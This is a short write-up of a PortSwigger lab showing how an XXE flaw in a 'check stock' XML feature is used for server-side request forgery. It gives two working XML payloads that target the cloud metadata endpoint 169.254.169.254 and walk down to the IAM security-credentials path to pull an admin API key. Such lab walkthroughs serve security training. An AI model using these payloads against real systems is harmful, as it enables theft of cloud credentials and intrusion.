> For the complete documentation index, see [llms.txt](https://sayonara.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sayonara.gitbook.io/writeups/portswigger/xxe-xml-external-entities/exploiting-xxe-to-perform-ssrf-attacks.md).

# Exploiting XXE to perform SSRF attacks

<div align="left"><figure><img src="/files/5pHGAVKsKMqImEmSk0NR" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Exploitation</mark>

the lab has a "check stock" feature that parses XML input and returns unexpected values

<div align="left"><figure><img src="/files/hMgcPHeyihmjdoN55g6p" alt=""><figcaption></figcaption></figure></div>

send to repeater

<div align="left"><figure><img src="/files/KSauKhDF7q2SlU5uVJQc" alt=""><figcaption></figcaption></figure></div>

```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

<div align="left"><figure><img src="/files/qSbtbN1tM248rJpscgQ6" alt=""><figcaption></figcaption></figure></div>

so it reveals the directory latest -> let's now make request to <mark style="color:blue;">**<http://169.254.169.254/latest>**</mark>

<div align="left"><figure><img src="/files/wjbU6en5jW48zKSnVWmQ" alt=""><figcaption></figcaption></figure></div>

and it keeps revealing directories so each time a directory revealed make an http request to it using xxe vulnerability until you find the last diretory where the API KEY exist

doing this we will find that the api key exist on `http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/`&#x20;

```markup

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

<div align="left"><figure><img src="/files/Ja4g6pO8GsM2hKijaqhh" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/JnLorI7NPxzzQcsadYgB" alt=""><figcaption></figcaption></figure></div>

hope you found this walkthrough easy to understand and follow

Greeting From [<mark style="color:red;">**Sayonara**</mark>](https://github.com/ismail-arame)
